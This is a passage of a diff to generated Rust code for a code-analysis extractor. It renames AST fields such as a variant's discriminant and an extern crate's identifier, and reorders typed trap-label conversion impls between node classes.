+    pub discriminant: Option<trap::Label<Expr>>,
     pub field_list: Option<trap::Label<FieldList>>,
     pub name: Option<trap::Label<Name>>,
     pub visibility: Option<trap::Label<Visibility>>,
@@ -8478,8 +8605,8 @@ impl trap::TrapEntry for Variant {
         for (i, v) in self.attrs.into_iter().enumerate() {
             out.add_tuple("variant_attrs", vec![id.into(), i.into(), v.into()]);
         }
-        if let Some(v) = self.expr {
-            out.add_tuple("variant_exprs", vec![id.into(), v.into()]);
+        if let Some(v) = self.discriminant {
+            out.add_tuple("variant_discriminants", vec![id.into(), v.into()]);
         }
         if let Some(v) = self.field_list {
             out.add_tuple("variant_field_lists", vec![id.into(), v.into()]);
@@ -8497,9 +8624,9 @@ impl trap::TrapClass for Variant {
     fn class_name() -> &'static str { "Variant" }
 }
 
-impl From<trap::Label<Variant>> for trap::Label<Addressable> {
+impl From<trap::Label<Variant>> for trap::Label<VariantDef> {
     fn from(value: trap::Label<Variant>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Variant is a subclass of Addressable
+        // SAFETY: this is safe because in the dbscheme Variant is a subclass of VariantDef
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -8515,6 +8642,15 @@ impl From<trap::Label<Variant>> for trap::Label<AstNode> {
     }
 }
 
+impl From<trap::Label<Variant>> for trap::Label<Locatable> {
+    fn from(value: trap::Label<Variant>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Variant is a subclass of Locatable
+        unsafe {
+            Self::from_untyped(value.as_untyped())
+        }
+    }
+}
+
 impl From<trap::Label<Variant>> for trap::Label<Element> {
     fn from(value: trap::Label<Variant>) -> Self {
         // SAFETY: this is safe because in the dbscheme Variant is a subclass of Element
@@ -8524,9 +8660,9 @@ impl From<trap::Label<Variant>> for trap::Label<Element> {
     }
 }
 
-impl From<trap::Label<Variant>> for trap::Label<Locatable> {
+impl From<trap::Label<Variant>> for trap::Label<Addressable> {
     fn from(value: trap::Label<Variant>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Variant is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme Variant is a subclass of Addressable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -8552,18 +8688,18 @@ impl trap::TrapClass for WildcardPat {
     fn class_name() -> &'static str { "WildcardPat" }
 }
 
-impl From<trap::Label<WildcardPat>> for trap::Label<AstNode> {
+impl From<trap::Label<WildcardPat>> for trap::Label<Pat> {
     fn from(value: trap::Label<WildcardPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme WildcardPat is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme WildcardPat is a subclass of Pat
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<WildcardPat>> for trap::Label<Element> {
+impl From<trap::Label<WildcardPat>> for trap::Label<AstNode> {
     fn from(value: trap::Label<WildcardPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme WildcardPat is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme WildcardPat is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -8579,9 +8715,9 @@ impl From<trap::Label<WildcardPat>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<WildcardPat>> for trap::Label<Pat> {
+impl From<trap::Label<WildcardPat>> for trap::Label<Element> {
     fn from(value: trap::Label<WildcardPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme WildcardPat is a subclass of Pat
+        // SAFETY: this is safe because in the dbscheme WildcardPat is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -8615,36 +8751,36 @@ impl trap::TrapClass for YeetExpr {
     fn class_name() -> &'static str { "YeetExpr" }
 }
 
-impl From<trap::Label<YeetExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<YeetExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<YeetExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme YeetExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme YeetExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<YeetExpr>> for trap::Label<Element> {
+impl From<trap::Label<YeetExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<YeetExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme YeetExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme YeetExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<YeetExpr>> for trap::Label<Expr> {
+impl From<trap::Label<YeetExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<YeetExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme YeetExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme YeetExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<YeetExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<YeetExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<YeetExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme YeetExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme YeetExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -8678,36 +8814,36 @@ impl trap::TrapClass for YieldExpr {
     fn class_name() -> &'static str { "YieldExpr" }
 }
 
-impl From<trap::Label<YieldExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<YieldExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<YieldExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme YieldExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme YieldExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<YieldExpr>> for trap::Label<Element> {
+impl From<trap::Label<YieldExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<YieldExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme YieldExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme YieldExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<YieldExpr>> for trap::Label<Expr> {
+impl From<trap::Label<YieldExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<YieldExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme YieldExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme YieldExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<YieldExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<YieldExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<YieldExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme YieldExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme YieldExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -8769,45 +8905,45 @@ impl trap::TrapClass for BlockExpr {
     fn class_name() -> &'static str { "BlockExpr" }
 }
 
-impl From<trap::Label<BlockExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<BlockExpr>> for trap::Label<LabelableExpr> {
     fn from(value: trap::Label<BlockExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme BlockExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme BlockExpr is a subclass of LabelableExpr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<BlockExpr>> for trap::Label<Element> {
+impl From<trap::Label<BlockExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<BlockExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme BlockExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme BlockExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<BlockExpr>> for trap::Label<Expr> {
+impl From<trap::Label<BlockExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<BlockExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme BlockExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme BlockExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<BlockExpr>> for trap::Label<LabelableExpr> {
+impl From<trap::Label<BlockExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<BlockExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme BlockExpr is a subclass of LabelableExpr
+        // SAFETY: this is safe because in the dbscheme BlockExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<BlockExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<BlockExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<BlockExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme BlockExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme BlockExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -8845,45 +8981,45 @@ impl trap::TrapClass for CallExpr {
     fn class_name() -> &'static str { "CallExpr" }
 }
 
-impl From<trap::Label<CallExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<CallExpr>> for trap::Label<CallExprBase> {
     fn from(value: trap::Label<CallExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme CallExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme CallExpr is a subclass of CallExprBase
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<CallExpr>> for trap::Label<CallExprBase> {
+impl From<trap::Label<CallExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<CallExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme CallExpr is a subclass of CallExprBase
+        // SAFETY: this is safe because in the dbscheme CallExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<CallExpr>> for trap::Label<Element> {
+impl From<trap::Label<CallExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<CallExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme CallExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme CallExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<CallExpr>> for trap::Label<Expr> {
+impl From<trap::Label<CallExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<CallExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme CallExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme CallExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<CallExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<CallExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<CallExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme CallExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme CallExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -8937,27 +9073,27 @@ impl trap::TrapClass for Const {
     fn class_name() -> &'static str { "Const" }
 }
 
-impl From<trap::Label<Const>> for trap::Label<Addressable> {
+impl From<trap::Label<Const>> for trap::Label<AssocItem> {
     fn from(value: trap::Label<Const>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Const is a subclass of Addressable
+        // SAFETY: this is safe because in the dbscheme Const is a subclass of AssocItem
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Const>> for trap::Label<AssocItem> {
+impl From<trap::Label<Const>> for trap::Label<AstNode> {
     fn from(value: trap::Label<Const>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Const is a subclass of AssocItem
+        // SAFETY: this is safe because in the dbscheme Const is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Const>> for trap::Label<AstNode> {
+impl From<trap::Label<Const>> for trap::Label<Locatable> {
     fn from(value: trap::Label<Const>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Const is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme Const is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -8982,18 +9118,18 @@ impl From<trap::Label<Const>> for trap::Label<Item> {
     }
 }
 
-impl From<trap::Label<Const>> for trap::Label<Locatable> {
+impl From<trap::Label<Const>> for trap::Label<Stmt> {
     fn from(value: trap::Label<Const>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Const is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme Const is a subclass of Stmt
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Const>> for trap::Label<Stmt> {
+impl From<trap::Label<Const>> for trap::Label<Addressable> {
     fn from(value: trap::Label<Const>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Const is a subclass of Stmt
+        // SAFETY: this is safe because in the dbscheme Const is a subclass of Addressable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -9043,54 +9179,54 @@ impl trap::TrapClass for Enum {
     fn class_name() -> &'static str { "Enum" }
 }
 
-impl From<trap::Label<Enum>> for trap::Label<Addressable> {
+impl From<trap::Label<Enum>> for trap::Label<Item> {
     fn from(value: trap::Label<Enum>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Enum is a subclass of Addressable
+        // SAFETY: this is safe because in the dbscheme Enum is a subclass of Item
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Enum>> for trap::Label<AstNode> {
+impl From<trap::Label<Enum>> for trap::Label<Stmt> {
     fn from(value: trap::Label<Enum>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Enum is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme Enum is a subclass of Stmt
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Enum>> for trap::Label<Element> {
+impl From<trap::Label<Enum>> for trap::Label<AstNode> {
     fn from(value: trap::Label<Enum>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Enum is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme Enum is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Enum>> for trap::Label<Item> {
+impl From<trap::Label<Enum>> for trap::Label<Locatable> {
     fn from(value: trap::Label<Enum>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Enum is a subclass of Item
+        // SAFETY: this is safe because in the dbscheme Enum is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Enum>> for trap::Label<Locatable> {
+impl From<trap::Label<Enum>> for trap::Label<Element> {
     fn from(value: trap::Label<Enum>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Enum is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme Enum is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Enum>> for trap::Label<Stmt> {
+impl From<trap::Label<Enum>> for trap::Label<Addressable> {
     fn from(value: trap::Label<Enum>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Enum is a subclass of Stmt
+        // SAFETY: this is safe because in the dbscheme Enum is a subclass of Addressable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -9132,54 +9268,54 @@ impl trap::TrapClass for ExternBlock {
     fn class_name() -> &'static str { "ExternBlock" }
 }
 
-impl From<trap::Label<ExternBlock>> for trap::Label<Addressable> {
+impl From<trap::Label<ExternBlock>> for trap::Label<Item> {
     fn from(value: trap::Label<ExternBlock>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ExternBlock is a subclass of Addressable
+        // SAFETY: this is safe because in the dbscheme ExternBlock is a subclass of Item
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ExternBlock>> for trap::Label<AstNode> {
+impl From<trap::Label<ExternBlock>> for trap::Label<Stmt> {
     fn from(value: trap::Label<ExternBlock>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ExternBlock is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme ExternBlock is a subclass of Stmt
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ExternBlock>> for trap::Label<Element> {
+impl From<trap::Label<ExternBlock>> for trap::Label<AstNode> {
     fn from(value: trap::Label<ExternBlock>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ExternBlock is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ExternBlock is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ExternBlock>> for trap::Label<Item> {
+impl From<trap::Label<ExternBlock>> for trap::Label<Locatable> {
     fn from(value: trap::Label<ExternBlock>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ExternBlock is a subclass of Item
+        // SAFETY: this is safe because in the dbscheme ExternBlock is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ExternBlock>> for trap::Label<Locatable> {
+impl From<trap::Label<ExternBlock>> for trap::Label<Element> {
     fn from(value: trap::Label<ExternBlock>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ExternBlock is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme ExternBlock is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ExternBlock>> for trap::Label<Stmt> {
+impl From<trap::Label<ExternBlock>> for trap::Label<Addressable> {
     fn from(value: trap::Label<ExternBlock>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ExternBlock is a subclass of Stmt
+        // SAFETY: this is safe because in the dbscheme ExternBlock is a subclass of Addressable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -9190,7 +9326,7 @@ impl From<trap::Label<ExternBlock>> for trap::Label<Stmt> {
 pub struct ExternCrate {
     pub id: trap::TrapId<ExternCrate>,
     pub attrs: Vec<trap::Label<Attr>>,
-    pub name_ref: Option<trap::Label<NameRef>>,
+    pub identifier: Option<trap::Label<NameRef>>,
     pub rename: Option<trap::Label<Rename>>,
     pub visibility: Option<trap::Label<Visibility>>,
 }
@@ -9205,8 +9341,8 @@ impl trap::TrapEntry for ExternCrate {
         for (i, v) in self.attrs.into_iter().enumerate() {
             out.add_tuple("extern_crate_attrs", vec![id.into(), i.into(), v.into()]);
         }
-        if let Some(v) = self.name_ref {
-            out.add_tuple("extern_crate_name_refs", vec![id.into(), v.into()]);
+        if let Some(v) = self.identifier {
+            out.add_tuple("extern_crate_identifiers", vec![id.into(), v.into()]);
         }
         if let Some(v) = self.rename {
             out.add_tuple("extern_crate_renames", vec![id.into(), v.into()]);
@@ -9221,54 +9357,54 @@ impl trap::TrapClass for ExternCrate {
     fn class_name() -> &'static str { "ExternCrate" }
 }
 
-impl From<trap::Label<ExternCrate>> for trap::Label<Addressable> {
+impl From<trap::Label<ExternCrate>> for trap::Label<Item> {
     fn from(value: trap::Label<ExternCrate>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ExternCrate is a subclass of Addressable
+        // SAFETY: this is safe because in the dbscheme ExternCrate is a subclass of Item
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ExternCrate>> for trap::Label<AstNode> {
+impl From<trap::Label<ExternCrate>> for trap::Label<Stmt> {
     fn from(value: trap::Label<ExternCrate>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ExternCrate is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme ExternCrate is a subclass of Stmt
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ExternCrate>> for trap::Label<Element> {
+impl From<trap::Label<ExternCrate>> for trap::Label<AstNode> {
     fn from(value: trap::Label<ExternCrate>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ExternCrate is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ExternCrate is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ExternCrate>> for trap::Label<Item> {
+impl From<trap::Label<ExternCrate>> for trap::Label<Locatable> {
     fn from(value: trap::Label<ExternCrate>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ExternCrate is a subclass of Item
+        // SAFETY: this is safe because in the dbscheme ExternCrate is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ExternCrate>> for trap::Label<Locatable> {
+impl From<trap::Label<ExternCrate>> for trap::Label<Element> {
     fn from(value: trap::Label<ExternCrate>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ExternCrate is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme ExternCrate is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ExternCrate>> for trap::Label<Stmt> {
+impl From<trap::Label<ExternCrate>> for trap::Label<Addressable> {
     fn from(value: trap::Label<ExternCrate>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ExternCrate is a subclass of Stmt
+        // SAFETY: this is safe because in the dbscheme ExternCrate is a subclass of Addressable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -9350,15 +9486,6 @@ impl trap::TrapClass for Function {
     fn class_name() -> &'static str { "Function" }
 }
 
-impl From<trap::Label<Function>> for trap::Label<Addressable> {
-    fn from(value: trap::Label<Function>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Function is a subclass of Addressable
-        unsafe {
-            Self::from_untyped(value.as_untyped())
-        }
-    }
-}
-
 impl From<trap::Label<Function>> for trap::Label<AssocItem> {
     fn from(value: trap::Label<Function>) -> Self {
         // SAFETY: this is safe because in the dbscheme Function is a subclass of AssocItem
@@ -9377,9 +9504,9 @@ impl From<trap::Label<Function>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<Function>> for trap::Label<Callable> {
+impl From<trap::Label<Function>> for trap::Label<Locatable> {
     fn from(value: trap::Label<Function>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Function is a subclass of Callable
+        // SAFETY: this is safe because in the dbscheme Function is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -9413,18 +9540,27 @@ impl From<trap::Label<Function>> for trap::Label<Item> {
     }
 }
 
-impl From<trap::Label<Function>> for trap::Label<Locatable> {
+impl From<trap::Label<Function>> for trap::Label<Stmt> {
     fn from(value: trap::Label<Function>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Function is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme Function is a subclass of Stmt
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Function>> for trap::Label<Stmt> {
+impl From<trap::Label<Function>> for trap::Label<Addressable> {
     fn from(value: trap::Label<Function>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Function is a subclass of Stmt
+        // SAFETY: this is safe because in the dbscheme Function is a subclass of Addressable
+        unsafe {
+            Self::from_untyped(value.as_untyped())
+        }
+    }
+}
+
+impl From<trap::Label<Function>> for trap::Label<Callable> {
+    fn from(value: trap::Label<Function>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Function is a subclass of Callable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -9490,54 +9626,54 @@ impl trap::TrapClass for Impl {
     fn class_name() -> &'static str { "Impl" }
 }
 
-impl From<trap::Label<Impl>> for trap::Label<Addressable> {
+impl From<trap::Label<Impl>> for trap::Label<Item> {
     fn from(value: trap::Label<Impl>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Impl is a subclass of Addressable
+        // SAFETY: this is safe because in the dbscheme Impl is a subclass of Item
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Impl>> for trap::Label<AstNode> {
+impl From<trap::Label<Impl>> for trap::Label<Stmt> {
     fn from(value: trap::Label<Impl>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Impl is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme Impl is a subclass of Stmt
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Impl>> for trap::Label<Element> {
+impl From<trap::Label<Impl>> for trap::Label<AstNode> {
     fn from(value: trap::Label<Impl>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Impl is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme Impl is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Impl>> for trap::Label<Item> {
+impl From<trap::Label<Impl>> for trap::Label<Locatable> {
     fn from(value: trap::Label<Impl>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Impl is a subclass of Item
+        // SAFETY: this is safe because in the dbscheme Impl is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Impl>> for trap::Label<Locatable> {
+impl From<trap::Label<Impl>> for trap::Label<Element> {
     fn from(value: trap::Label<Impl>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Impl is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme Impl is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Impl>> for trap::Label<Stmt> {
+impl From<trap::Label<Impl>> for trap::Label<Addressable> {
     fn from(value: trap::Label<Impl>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Impl is a subclass of Stmt
+        // SAFETY: this is safe because in the dbscheme Impl is a subclass of Addressable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -9553,45 +9689,45 @@ impl trap::TrapClass for LoopingExpr {
     fn class_name() -> &'static str { "LoopingExpr" }
 }
 
-impl From<trap::Label<LoopingExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<LoopingExpr>> for trap::Label<LabelableExpr> {
     fn from(value: trap::Label<LoopingExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LoopingExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme LoopingExpr is a subclass of LabelableExpr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<LoopingExpr>> for trap::Label<Element> {
+impl From<trap::Label<LoopingExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<LoopingExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LoopingExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme LoopingExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<LoopingExpr>> for trap::Label<Expr> {
+impl From<trap::Label<LoopingExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<LoopingExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LoopingExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme LoopingExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<LoopingExpr>> for trap::Label<LabelableExpr> {
+impl From<trap::Label<LoopingExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<LoopingExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LoopingExpr is a subclass of LabelableExpr
+        // SAFETY: this is safe because in the dbscheme LoopingExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<LoopingExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<LoopingExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<LoopingExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LoopingExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme LoopingExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -9635,27 +9771,27 @@ impl trap::TrapClass for MacroCall {
     fn class_name() -> &'static str { "MacroCall" }
 }
 
-impl From<trap::Label<MacroCall>> for trap::Label<Addressable> {
+impl From<trap::Label<MacroCall>> for trap::Label<AssocItem> {
     fn from(value: trap::Label<MacroCall>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroCall is a subclass of Addressable
+        // SAFETY: this is safe because in the dbscheme MacroCall is a subclass of AssocItem
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MacroCall>> for trap::Label<AssocItem> {
+impl From<trap::Label<MacroCall>> for trap::Label<AstNode> {
     fn from(value: trap::Label<MacroCall>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroCall is a subclass of AssocItem
+        // SAFETY: this is safe because in the dbscheme MacroCall is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MacroCall>> for trap::Label<AstNode> {
+impl From<trap::Label<MacroCall>> for trap::Label<Locatable> {
     fn from(value: trap::Label<MacroCall>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroCall is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme MacroCall is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -9689,18 +9825,18 @@ impl From<trap::Label<MacroCall>> for trap::Label<Item> {
     }
 }
 
